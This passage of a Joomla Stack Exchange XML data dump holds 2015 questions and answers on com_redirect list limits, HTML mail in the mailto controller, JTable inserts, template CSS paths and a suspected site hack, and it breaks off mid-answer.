  <row Id="9640" PostTypeId="1" AcceptedAnswerId="9645" CreationDate="2015-04-25T03:17:55.800" Score="2" ViewCount="67" Body="&lt;p&gt;I was using com_redirect showing 100 items, when I changed it to &quot;all,&quot; the list is too large and it times out. How can I get back to the list of 100 without uninstalling the component?&lt;/p&gt;&#xA;" OwnerUserId="4125" LastEditorUserId="126" LastEditDate="2016-01-21T22:56:16.670" LastActivityDate="2016-01-21T22:56:16.670" Title="com_redirect is timing out (resetting list limit)" Tags="|joomla-3.x|redirect|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9641" PostTypeId="1" CreationDate="2015-04-25T10:36:35.663" Score="0" ViewCount="2357" Body="&lt;p&gt;I am trying to set html on the output of the email send by Joomla. Here is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MailtoController extends JControllerLegacy&#xA;{&#xA;/**&#xA; * Show the form so that the user can send the link to someone.&#xA; *&#xA; * @return  void&#xA; *&#xA; * @since 1.5&#xA; */&#xA;public function mailto()&#xA;{&#xA;    $session = JFactory::getSession();&#xA;    $session-&amp;gt;set('com_mailto.formtime', time());&#xA;    $this-&amp;gt;input-&amp;gt;set('view', 'mailto');&#xA;    $this-&amp;gt;display();&#xA;&#xA;}&#xA;&#xA;/**&#xA; * Send the message and display a notice&#xA; *&#xA; * @return  void&#xA; *&#xA; * @since  1.5&#xA; */&#xA;&#xA;public function send()&#xA;{&#xA;    // Check for request forgeries&#xA;    JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));&#xA;&#xA;    $app     = JFactory::getApplication();&#xA;    $session = JFactory::getSession();&#xA;    $timeout = $session-&amp;gt;get('com_mailto.formtime', 0);&#xA;&#xA;    if ($timeout == 0 || time() - $timeout &amp;lt; 1)&#xA;    {&#xA;        JError::raiseNotice(500, JText::_('COM_MAILTO_EMAIL_NOT_SENT'));&#xA;&#xA;        return $this-&amp;gt;mailto();&#xA;    }&#xA;&#xA;    $SiteName = $app-&amp;gt;get('sitename');&#xA;    $link     = MailtoHelper::validateHash($this-&amp;gt;input-&amp;gt;get('link', '', 'post'));&#xA;&#xA;    // Verify that this is a local link&#xA;    if (!$link || !JUri::isInternal($link))&#xA;    {&#xA;        // Non-local url...&#xA;        JError::raiseNotice(500, JText::_('COM_MAILTO_EMAIL_NOT_SENT'));&#xA;&#xA;        return $this-&amp;gt;mailto();&#xA;    }&#xA;&#xA;    // An array of email headers we do not want to allow as input&#xA;    $headers = array (&#xA;        'Content-Type:',&#xA;        'MIME-Version:',&#xA;        'Content-Transfer-Encoding:',&#xA;        'bcc:',&#xA;        'cc:'&#xA;    );&#xA;&#xA;    // An array of the input fields to scan for injected headers&#xA;    $fields = array(&#xA;        'mailto',&#xA;        'sender',&#xA;        'from',&#xA;        'subject',&#xA;    );&#xA;&#xA;    /*&#xA;     * Here is the meat and potatoes of the header injection test.  We&#xA;     * iterate over the array of form input and check for header strings.&#xA;     * If we find one, send an unauthorized header and die.&#xA;     */&#xA;    foreach ($fields as $field)&#xA;    {&#xA;        foreach ($headers as $header)&#xA;        {&#xA;            if (strpos($_POST[$field], $header) !== false)&#xA;            {&#xA;                JError::raiseError(403, '');&#xA;            }&#xA;        }&#xA;    }&#xA;&#xA;    /*&#xA;     * Free up memory&#xA;     */&#xA;    unset ($headers, $fields);&#xA;&#xA;    $email           = $this-&amp;gt;input-&amp;gt;post-&amp;gt;getString('mailto', '');&#xA;    $sender          = $this-&amp;gt;input-&amp;gt;post-&amp;gt;getString('sender', '');&#xA;    $from            = $this-&amp;gt;input-&amp;gt;post-&amp;gt;getString('from', '');&#xA;    $subject_default = JText::sprintf('COM_MAILTO_SENT_BY', $sender);&#xA;    $subject         = $this-&amp;gt;input-&amp;gt;post-&amp;gt;getString('subject', $subject_default);&#xA;&#xA;    // Check for a valid to address&#xA;    $error = false;&#xA;&#xA;    if (!$email || !JMailHelper::isEmailAddress($email))&#xA;    {&#xA;        $error = JText::sprintf('COM_MAILTO_EMAIL_INVALID', $email);&#xA;        JError::raiseWarning(0, $error);&#xA;    }&#xA;&#xA;    // Check for a valid from address&#xA;    if (!$from || !JMailHelper::isEmailAddress($from))&#xA;    {&#xA;        $error = JText::sprintf('COM_MAILTO_EMAIL_INVALID', $from);&#xA;        JError::raiseWarning(0, $error);&#xA;    }&#xA;&#xA;    if ($error)&#xA;    {&#xA;        return $this-&amp;gt;mailto();&#xA;    }&#xA;&#xA;    // Build the message to send&#xA;    $msg  = JText::_('COM_MAILTO_EMAIL_MSG');&#xA;    $link = $link;&#xA;    //$body = sprintf($msg, $SiteName, $sender, $from, $link);&#xA;    $body = &quot;&amp;lt;p&amp;gt;Hello Test F,&amp;lt;/p&amp;gt;&amp;lt;br/&amp;gt;&amp;lt;p&amp;gt;Thank you for registering at Deals&amp;amp;offers. Your account is created and activated.&amp;lt;/p&amp;gt;&amp;lt;br/&amp;gt;You may login to &quot;.$SiteName.&quot; using the following username and password:&amp;lt;/br&amp;gt;&amp;lt;p&amp;gt;Username: &quot;.$sender.&quot;&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;Password: &quot;.$from.&quot;/p&amp;gt;&amp;lt;br/&amp;gt;&amp;lt;p&amp;gt;&amp;lt;b&amp;gt;Note:&amp;lt;/b&amp;gt; It is recomended to change your password after first login. &quot;.$link.&quot;&amp;lt;/p&amp;gt;&quot;;&#xA;&#xA;    // Clean the email data&#xA;    $subject = JMailHelper::cleanSubject($subject);&#xA;    $body    = JMailHelper::cleanBody($body);&#xA;&#xA;    // To send we need to use punycode.&#xA;    $from  = JStringPunycode::emailToPunycode($from);&#xA;    $from  = JMailHelper::cleanAddress($from);&#xA;    $email = JStringPunycode::emailToPunycode($email);&#xA;&#xA;    // Send the email&#xA;    if (JFactory::getMailer()-&amp;gt;sendMail($from, $sender, $email, $subject, $body) !== true)&#xA;    {&#xA;        JError::raiseNotice(500, JText::_('COM_MAILTO_EMAIL_NOT_SENT'));&#xA;&#xA;        return $this-&amp;gt;mailto();&#xA;    }&#xA;&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage('ok!', '');&#xA;    $this-&amp;gt;input-&amp;gt;set('view', 'sent');&#xA;    $this-&amp;gt;display();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;" OwnerUserId="3375" LastEditorUserId="126" LastEditDate="2016-01-21T22:54:44.933" LastActivityDate="2016-01-21T22:54:44.933" Title="Enable html in email output in Joomla" Tags="|joomla-3.x|php|jhtml|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9642" PostTypeId="2" ParentId="9641" CreationDate="2015-04-25T10:53:41.633" Score="3" Body="&lt;p&gt;I'm not sure what the actual issue is, but assuming your email is not rendering the HTML, you simply need to enable it, by using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mailer-&amp;gt;isHTML(true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-04-25T10:53:41.633" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9643" PostTypeId="1" CreationDate="2015-04-25T12:10:44.847" Score="4" ViewCount="228" Body="&lt;p&gt;Noticed in webmaster tools that my site may have been hacked. What is the best way to check if this is the case. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see that there are some strange URL injections on my site? How do I find where these are located so that I can remove them?&lt;/p&gt;&#xA;" OwnerUserId="4128" LastEditorUserId="4128" LastEditDate="2015-04-25T12:38:10.670" LastActivityDate="2019-09-07T09:01:45.290" Title="Joolma site Hacking suspected" Tags="|security|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9644" PostTypeId="2" ParentId="9643" CreationDate="2015-04-25T13:06:04.337" Score="2" Body="&lt;p&gt;As far as I know, the very best solution is to pay 5GBP and use Phil Taylor's myJoomla service &lt;a href=&quot;https://mysites.guru/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mysites.guru/&lt;/a&gt; (formerly myjoomla.com).&#xA;There are many other &quot;free&quot; solutions, but IMHO Phil is the best!&#xA;I have no time/energy to list free solutions. Sorry.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="120" LastEditDate="2019-09-07T09:01:45.290" LastActivityDate="2019-09-07T09:01:45.290" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="9645" PostTypeId="2" ParentId="9640" CreationDate="2015-04-25T13:10:41.083" Score="2" Body="&lt;p&gt;Go to Global Configuration, make sure Default List Limit is set to 20-30.&#xA;Log Out from admin, Restart browser. Then Log In again and any list will be set to List Limit.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastActivityDate="2015-04-25T13:10:41.083" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9646" PostTypeId="2" ParentId="9633" CreationDate="2015-04-25T13:13:17.270" Score="0" Body="&lt;p&gt;Then create fake menu item for page in question, and refer to it in plugin config. I always create fake menu called &quot;Virtual menu&quot; for similar menu items which are not to be shown in any menu on front-end, but help in many cases.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastActivityDate="2015-04-25T13:13:17.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9647" PostTypeId="2" ParentId="9627" CreationDate="2015-04-25T13:39:49.137" Score="2" Body="&lt;p&gt;Order Confirmation Emails are created from code stored in bunch of files in folder components\com_virtuemart\views\invoice\tmpl\&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure, but think that you can find variables for product info in file invoice_items.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Haven't tried for this particular issue, but it is considered best practice not to change original code (which will be overwritten on next VM upgrade), but to create template override in your active template's html folder, and then to edit it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastActivityDate="2015-04-25T13:39:49.137" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9648" PostTypeId="2" ParentId="8982" CreationDate="2015-04-25T15:06:33.577" Score="2" Body="&lt;p&gt;In K2 that is controlled by the &quot;Item view options in category listings&quot; or &quot;Item view options&quot; on the category or the item. The field is called &quot;'Featured' notice (next to title)&quot;&lt;/p&gt;&#xA;" OwnerUserId="4129" LastActivityDate="2015-04-25T15:06:33.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9649" PostTypeId="1" AcceptedAnswerId="9659" CreationDate="2015-04-25T17:44:08.263" Score="5" ViewCount="990" Body="&lt;p&gt;I'm having strange issue, not sure if I'm doing something wrong. But here is my issue:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working on developing custom helpdesk component. I have custom save method in my Model as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function save($data, $table)&#xA;    {&#xA;        $app = JFactory::getApplication();&#xA;        $type = 'error';&#xA;&#xA;        if (!$table-&amp;gt;bind($data))&#xA;        {&#xA;            return false;&#xA;        }&#xA;&#xA;        if (!$table-&amp;gt;check())&#xA;        {&#xA;            return false;&#xA;        }&#xA;&#xA;        try&#xA;        {&#xA;           $table-&amp;gt;store();             &#xA;        }&#xA;        catch (Exception $ex)&#xA;        {&#xA;            $app-&amp;gt;enqueueMessage($ex-&amp;gt;getMessage(), $type);&#xA;&#xA;            return false;&#xA;        }&#xA;&#xA;        return $table;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also have custom function which returns uploaded file information like name, size, type etc. User can upload more than one file that's the reason, I put that information in an Array as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($filesArr as $file)&#xA;{&#xA;    $uploads[] = array(&#xA;       'hid' =&amp;gt; $response-&amp;gt;id,&#xA;       'name' =&amp;gt; $file['name'],&#xA;       'size' =&amp;gt; $file['size']&#xA;     );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output of $uploads[] looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array ( &#xA;[0] =&amp;gt; Array ( [hid] =&amp;gt; 2 [name] =&amp;gt; request-for-proprietary-information.pdf [size] =&amp;gt; 379984 )&#xA;[1] =&amp;gt; Array ( [hid] =&amp;gt; 2 [name] =&amp;gt; vendor-contracting-and-oversight.pdf [size] =&amp;gt; 416834 ) )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I went ahead and put it in foreach loop to get each array and then save it in my database.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($uploads as $upload)&#xA;{&#xA;     $table = $model-&amp;gt;save($upload, $attachment); // Calling save function as mentioned above.&#xA;     if ($table === false)&#xA;     {&#xA;      $app-&amp;gt;enqueueMessage(JText::_('COM_HELPDESK_UPLOAD_ERROR'), 'error');&#xA;     }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is structure of my table:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/uax75.jpg&quot; alt=&quot;Structure of My table where data is supposed to save&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that, my Primary key is &quot;ID&quot; which is set on AUTO_INCREMENT.&#xA;&quot;hid&quot; is not Primary Key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Above code inserts 1st row in database and then for the rest of loop it just updates the 1st row only.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Query Time: 1.00 ms After last query: 1.00 ms Query memory: 0.009 MB&#xA;  Memory before query: 7.060 MB&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;INSERT INTO &lt;code&gt;jos_helpdesk_attachment&lt;/code&gt; (&lt;code&gt;hid&lt;/code&gt;,&lt;code&gt;name&lt;/code&gt;,&lt;code&gt;size&lt;/code&gt;)    VALUES &#xA;  ('2','request-for-proprietary-information.pdf','379984')&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Query Time: 2.00 ms After last query: 1.00 msQuery memory: 0.009 MB&#xA;  Memory before query: 7.068 MB&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;UPDATE &lt;code&gt;jos_helpdesk_attachment&lt;/code&gt;    SET&#xA;  &lt;code&gt;hid&lt;/code&gt;='2',&lt;code&gt;name&lt;/code&gt;='vendor-contracting-and-oversight.pdf',&lt;code&gt;size&lt;/code&gt;='416834'&#xA;  WHERE &lt;code&gt;id&lt;/code&gt;='1'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2233" LastEditorUserId="2233" LastEditDate="2015-04-26T07:24:52.830" LastActivityDate="2015-04-26T07:42:35.410" Title="Cannot Insert Multiple Rows in Loop - Jtable" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9650" PostTypeId="2" ParentId="9643" CreationDate="2015-04-25T19:02:57.180" Score="5" Body="&lt;p&gt;Totally agree re answer for Phil Taylor's service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have 3 &quot;tasks&quot;: recovery (back to before the hack), review (to work out how it happened) and revise (okay, rubbish alliteration - but this one's about change your environment to reduce the chance of its happening again or even simply detect it quicker).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you should save away the web server (Apache/IIS/whatever) logs for further analysis, especially on shared hosting where the logs may be deleted during rotation within a short space of time. If it's your own server, save the other logs too if possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given you &lt;em&gt;are&lt;/em&gt; aware of the hack, whatever the Webmaster tools alerted you to [I think it would be helpful for others if you update the question with an outline of what the Tools said], it is possibly identifiable in the server logs. You could see the originating IP but even if you do, forget it, they're probably using a bot or TOR or some other obfuscation technique and even if they weren't the jurisdiction they're in may not care you have been hacked, sorry.  But looking at the logs may at least give you a clue as to how they got in to help clean up and prevent in future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's probable that this event may make you review your future backup strategy.....(I did when it happened to me!)&lt;/p&gt;&#xA;" OwnerUserId="4120" LastActivityDate="2015-04-25T19:02:57.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9651" PostTypeId="1" CreationDate="2015-04-25T19:10:44.123" Score="0" ViewCount="143" Body="&lt;p&gt;I'm working with Jquery and Joomla3 and Nooku framework and I need to add CSS style to my page which I'm using the following for:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getDocument()-&amp;gt;addCustomTag(&quot;&amp;lt;script type='text/javascript' src='&quot;.JURI::root(1).&quot;/components/com_sgrmre/lib/DataTables-1.10.6/media/js/jquery.dataTables.min.js'&amp;gt;&amp;lt;/script&amp;gt;&quot;);   &#xA;JFactory::getDocument()-&amp;gt;addCustomTag(&quot;&amp;lt;style src='components/com_sgrmre/lib/DataTables-1.10.6/media/css/jquery.dataTables.css'/&amp;gt;&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first &lt;code&gt;JFactory&lt;/code&gt; line is to import a JS file into my page and it works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second line is to import the CSS file into my page, but it doesn't work, as if the &lt;strong&gt;jquery.dataTables.css&lt;/strong&gt; had no effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help and thank you&lt;/p&gt;&#xA;" OwnerUserId="4130" LastEditorUserId="168" LastEditDate="2015-04-25T19:21:50.980" LastActivityDate="2015-05-21T21:26:57.113" Title="Jquery Design Problem" Tags="|joomla-3.x|php|jquery|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9652" PostTypeId="2" ParentId="9651" CreationDate="2015-04-25T19:18:48.117" Score="1" Body="&lt;p&gt;Firstly, you don't need to use &lt;code&gt;addCustomTag&lt;/code&gt; to import your scripts. You can use &lt;code&gt;addScript&lt;/code&gt; and &lt;code&gt;addStylesheet&lt;/code&gt; for this, or even &lt;code&gt;JHtml&lt;/code&gt;. Secondly, you haven't defined the root of the path for the stylesheet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try replacing all you code with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc = JFactory::getDocument();&#xA;$doc-&amp;gt;addScript(JUri::root() . 'components/com_sgrmre/lib/DataTables-1.10.6/media/js/jquery.dataTables.min.js');&#xA;$doc-&amp;gt;addStylesheet(JUri::root() . 'components/com_sgrmre/lib/DataTables-1.10.6/media/css/jquery.dataTables.css');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('script', JUri::root() . 'components/com_sgrmre/lib/DataTables-1.10.6/media/js/jquery.dataTables.min.js');&#xA;JHtml::_('stylesheet', JUri::root() . 'components/com_sgrmre/lib/DataTables-1.10.6/media/css/jquery.dataTables.css');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-04-25T19:18:48.117" CommentCount="16" ContentLicense="CC BY-SA 3.0" />
  <row Id="9653" PostTypeId="1" AcceptedAnswerId="9654" CreationDate="2015-04-25T19:59:04.163" Score="2" ViewCount="1110" Body="&lt;p&gt;So I have currently used basic html and css coding to create a website for a client. The template uploads to the extension manager but when I go to preview it, the page looks nothing like it's supposed to. None of the styles from my css stylesheet are showing up. I'm new to Joomla so some help for this newbie would be greatly appreciated. If you need any more information I will be glad to give it. Unfortunately I am unable to provide a link since the site isn't live yet but will give you guys links to some screen shots.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How it looks in web developer tools: &lt;a href=&quot;https://i.stack.imgur.com/vLDgi.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/vLDgi.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;End result for site: &lt;a href=&quot;https://i.stack.imgur.com/DcJos.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/DcJos.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Original Index.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    defined('_JEXEC') or die;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;!Doctype html&amp;gt;&#xA;    &amp;lt;html&amp;gt;&#xA;        &amp;lt;head&amp;gt;&#xA;            &amp;lt;meta charset=&quot;utf-8&quot;&amp;gt;&#xA;            &amp;lt;title&amp;gt; Deda's Couture&amp;lt;/title&amp;gt;&#xA;            &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;css/normalize.css&quot;&amp;gt;&#xA;            &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;css/main.css&quot;&amp;gt;&#xA;            &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;css/responsive.css&quot;&amp;gt;&#xA;            &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;css/component.css&quot;&amp;gt;&#xA;            &amp;lt;meta=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&amp;gt;&#xA;            &amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&#xA;            &amp;lt;!--[if lt IE 9]&amp;gt;&#xA;                &amp;lt;script src=&quot;&amp;lt;?php echo $this-&amp;gt;baseurl ?&amp;gt;/media/jui/js/html5.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;            &amp;lt;![endif]--&amp;gt;&#xA;    &amp;lt;/head&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4131" LastEditorUserId="168" LastEditDate="2015-04-25T20:04:35.727" LastActivityDate="2015-11-19T21:20:28.117" Title="CSS Stylesheet for Custom Joomla Template isn't showing" Tags="|templates|css|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9654" PostTypeId="2" ParentId="9653" CreationDate="2015-04-25T20:09:52.093" Score="3" Body="&lt;p&gt;Joomla works a little differently when importing CSS and JS files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to define the root of your site. Try replacing this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;css/normalize.css&quot;&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;css/main.css&quot;&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;css/responsive.css&quot;&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;css/component.css&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;&amp;lt;?php echo $this-&amp;gt;baseurl ?&amp;gt;/templates/&amp;lt;?php echo $this-&amp;gt;template ?&amp;gt;/css/normalize.css&quot;&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;&amp;lt;?php echo $this-&amp;gt;baseurl ?&amp;gt;/templates/&amp;lt;?php echo $this-&amp;gt;template ?&amp;gt;/css/main.css&quot;&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;&amp;lt;?php echo $this-&amp;gt;baseurl ?&amp;gt;/templates/&amp;lt;?php echo $this-&amp;gt;template ?&amp;gt;/css/responsive.css&quot;&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;&amp;lt;?php echo $this-&amp;gt;baseurl ?&amp;gt;/templates/&amp;lt;?php echo $this-&amp;gt;template ?&amp;gt;/css/component.css&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$this-&amp;gt;baseurl&lt;/code&gt; gets the base URL of your site and &lt;code&gt;$this-&amp;gt;template&lt;/code&gt; gets your template name&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-04-25T20:09:52.093" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9655" PostTypeId="1" CreationDate="2015-04-25T22:19:15.840" Score="3" ViewCount="795" Body="&lt;p&gt;I am attempting to use the JCE editor in Joomla 3 but when I have it enabled under my system settings, non of the edit icons appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IGzxT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried this on Firefox, Chrome and Safari and nothing will have these edit icons appear. As you can imagine, it's quite frustrating trying to use JCE like this. Does anyone know of a solution OR a better editor?&lt;/p&gt;&#xA;" OwnerUserId="4132" LastActivityDate="2017-04-12T12:18:02.880" Title="Joomla JCE editor not showing edit icons" Tags="|jce|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9656" PostTypeId="1" CreationDate="2015-04-26T03:06:19.817" Score="2" ViewCount="836" Body="&lt;p&gt;I'm having trouble setting up proper SEF URL's for the users / authors on a site I'm working on. I have &quot;Enable advanced SEF for K2 URLs&quot; on, and everything works fine as long I can associate a menu item with (categories, etc). The site I'm working on has MANY different contributors and creating a menu item for each author seems like its probably not the right way to go about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, if I view a user from the &quot;homepage&quot; from a module, K2 prefixes component/k2 before author like this: mysite.com/component/k2/author/authorname&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I view a user from within the category view, K2 prefixes the category name like this: mysite.com/categoryname/author/authorname&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, what I'd like to have is this: mysite.com/author/authorname&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to accomplish this without creating a menu item for each author? or doing something funky with .htaccess?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would greatly appreciate any help concerning this, Thank you.&lt;/p&gt;&#xA;" OwnerUserId="4133" LastEditorUserId="3650" LastEditDate="2016-03-08T00:48:49.533" LastActivityDate="2024-03-28T05:01:10.120" Title="Problem with SEF URL For K2 Users/Authors" Tags="|joomla-3.x|k2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9657" PostTypeId="2" ParentId="9653" CreationDate="2015-04-26T05:00:17.710" Score="1" Body="&lt;p&gt;As you are actually using a PHP script to generate the page, I suggest it would be better if you actually use the Joomla API calls to add the CSS to the rendered page, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;....&#xA;$tempDoc = JFactory::getDocument();&#xA;$tempDoc-&amp;gt;addStyleSheet(JURI::root(true).'/css/normalize.css');&#xA;$tempDoc-&amp;gt;addStyleSheet(JURI::root(true).'/css/main.css');&#xA;$tempDoc-&amp;gt;addStyleSheet(JURI::root(true).'/css/responsive.css');&#xA;$tempDoc-&amp;gt;addStyleSheet(JURI::root(true).'/css/component.css');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then later in your template's index.php file, include as the last (or nearly the last) &quot;statement&quot; in the HTML header section, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;head&amp;gt;&#xA;....&#xA;    &amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&#xA;....&#xA;&amp;lt;/head&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way, any Joomla extensions' CSS and JavaScript requirements will also be included - you may not have any now, but it would be surprising if you didn't have any later on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, to help you identify why your original CSS wasn't being loaded, I can see you're already making use of your browser's &quot;developer tools&quot; (&lt;a href=&quot;https://developer.chrome.com/devtools&quot; rel=&quot;nofollow&quot;&gt;the Chrome term&lt;/a&gt;) or even better the &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/firebug/&quot; rel=&quot;nofollow&quot;&gt;Firebug&lt;/a&gt; add-on for FireFox - it'll help you see the full URIs used for every page &quot;component&quot;, along with a vast amount of other essential information about your generated pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From your screen shot of the developer's tools, your page generation has gone seriously awry as the HTML meta, script and other elements are all in the html body element - in your screenshot, you haven't expanded the generated head element so I can't see what's in there.  Remember that with the developer's tools you're not actually looking at the page's source, you're looking at the browser's/tool's parsed and interpreted version of it (so you may wish to look at both).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might wish to make your &lt;a href=&quot;http://www.w3schools.com/tags/tag_doctype.asp&quot; rel=&quot;nofollow&quot;&gt;doctype&lt;/a&gt; and &lt;a href=&quot;http://www.w3schools.com/tags/tag_html.asp&quot; rel=&quot;nofollow&quot;&gt;html&lt;/a&gt; declarations a little more complete, too, such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;&amp;lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot; xml:lang=&quot;&amp;lt;?php echo $this-&amp;gt;language; ?&amp;gt;&quot; lang=&quot;&amp;lt;?php echo $this-&amp;gt;language; ?&amp;gt;&quot; dir=&quot;&amp;lt;?php echo $this-&amp;gt;direction; 